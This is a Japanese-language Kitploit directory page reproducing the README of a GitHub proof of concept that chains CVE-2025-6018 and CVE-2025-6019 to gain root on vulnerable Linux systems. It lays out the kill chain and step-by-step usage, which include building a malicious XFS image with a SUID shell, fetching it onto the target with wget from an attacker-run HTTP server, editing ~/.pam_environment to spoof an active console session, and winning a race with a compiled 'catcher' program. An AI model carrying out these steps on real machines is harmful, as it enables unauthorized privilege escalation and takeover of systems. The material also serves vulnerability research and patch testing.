Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-6018-6019-PoC — 脆弱なLinuxシステム上で、CVE-2025-6018 (PAM/Polkit Active Session Bypass) と CVE-2025-6019 (libblockdev SUID Mount Flaw) を連鎖させてローカル権限昇格 (LPE) を達成するための概念実証。 | Kitploit
ツール/GitHubGitHub/michaelventurella/cve-2025-6018-6019-poc
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育ラボと実践
GitHubmichaelventurella/cve-2025-6018-6019-poc

CVE-2025-6018-6019-PoC

脆弱なLinuxシステム上で、CVE-2025-6018 (PAM/Polkit Active Session Bypass) と CVE-2025-6019 (libblockdev SUID Mount Flaw) を連鎖させてローカル権限昇格 (LPE) を達成するための概念実証。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1727ヶ月前未レビュー

CVE-2025-6018 & CVE-2025-6019: ローカル特権昇格PoC

脆弱なLinuxシステム上でCVE-2025-6018 (PAM/Polkitアクティブセッションバイパス) と CVE-2025-6019 (libblockdev SUIDマウントの欠陥) を連鎖させ、rootアクセスを達成するための堅牢なProof of Concept(PoC)です。

免責事項

このツールは教育目的および許可されたセキュリティ研究専用です。所有していない、または明示的な許可を得ていないシステムでは使用しないでください。


脆弱性チェーン

このエクスプロイトは、2つの論理的な欠陥を連鎖させ、一般ユーザーからrootへの権限昇格を実現します。

  1. CVE-2025-6018 (エントリ): PAM/Polkitの設定ミスにより、リモートSSHセッションがActive=yesとマークされる可能性があります。このトリックにより、システムはリモートユーザーが物理的にコンソールにいるものと認識し、udisks2などのハードウェア管理ツールに対するパスワード要件をバイパスします。
  2. CVE-2025-6019 (武器): libblockdevライブラリ(udisks2で使用)は、メンテナンス操作(CheckやResizeなど)のためにファイルシステムを一時的にマウントする際に、nosuidセキュリティフラグを適用しません。

キルチェーン

  1. 準備: SUID rootシェルを含む悪質なXFSイメージを作成します。
  2. バイパス: Active=yesセッションステータスを利用して、パスワードなしでこのイメージをループデバイスとしてマウントします。
  3. トリガー: D-Bus経由でFilesystem.Checkを呼び出します。これによりudisks2がイメージを一時的にマウントして検証します。重要なのは、この一時マウントにはnosuidが欠落していることです。
  4. 競合状態: コンパイルされたCプログラム(「スナイパー」)が/proc/mountsをリアルタイムで監視します。一時マウントが現れた瞬間にSUIDペイロードを実行し、システムがアンマウントする前に完了させます。

使用方法

フェーズ1: 準備 (攻撃側マシン)

ターゲットマシンにはmkfs.xfsやgccなどのツールがないことが多いため、ペイロードはローカルで生成します。

  1. Kali/Parrot上でビルドスクリプトを実行:

    root@kitploit:~
    ./build_poc.sh
    
    • exploit.img(SUIDシェルを含む400MBのXFSイメージ)を作成します。
    • catcher(競合状態を制するプログラム)をコンパイルします。
  2. ファイルをターゲットにアップロード: Pythonサーバーを起動:

    root@kitploit:~
    python3 -m http.server 80
    

    ターゲットマシン上(例:/tmp):

    root@kitploit:~
    wget http://<YOUR_IP>/exploit.img
    wget http://<YOUR_IP>/catcher
    chmod +x catcher
    

フェーズ2: エクスプロイト (ターゲットマシン)

  1. エクスプロイトスクリプトをダウンロード: このリポジトリからexploit.shの内容をターゲットマシンに保存します。

  2. エクスプロイトを実行:

    root@kitploit:~
    chmod +x exploit.sh
    ./exploit.sh
    
  3. Root権限を入手: スクリプトは自動的にループデバイスのセットアップ、バックグラウンドでのcatcherの起動、脆弱性のトリガーを行います。直ちにrootシェルに落ちるはずです。


トラブルシューティング

「ループデバイスのセットアップに認証が必要です」

スクリプトがパスワードを要求する場合、SSHセッションがアクティブではありません。 修正方法:

  1. ~/.pam_environmentを作成:
    root@kitploit:~
    echo "XDG_SEAT=seat0" > ~/.pam_environment
    echo "XDG_VTNR=1" >> ~/.pam_environment
    
  2. ログアウトして再ログインしてください。
  3. loginctl show-session $XDG_SESSION_ID | grep Activeで確認します。Active=yesと表示されなければなりません。

「競合状態に失敗/シェルが開かない」

脆弱な時間枠は数ミリ秒しかありません。

  • コンパイル済みのC製catcher(build_poc.shに含まれています)を使用していることを確認してください。Bashループでは不十分です。
  • スクリプトはFilesystem.Checkメソッドを使用します。これはResizeよりも信頼性が高いです。

ファイル一覧

build_poc.sh (攻撃側)

悪質なイメージの作成と静的バイナリのコンパイルを自動化します。

exploit.sh (ターゲット側)

統括スクリプトです。以下の処理を行います:

  1. アクティブセッションの確認。
  2. catcherをバックグラウンドで起動。
  3. udisksctl経由でループデバイスをセットアップ。
  4. D-Bus Filesystem.Check呼び出しをトリガー。

クレジット

  • 発見者: Qualys Research Team (CVE-2025-6018, CVE-2025-6019) https://www.helpnetsecurity.com/2025/06/18/chaining-two-lpes-to-get-root-most-linux-distros-vulnerable-cve-2025-6018-cve-2025-6019/
ツールをダウンロード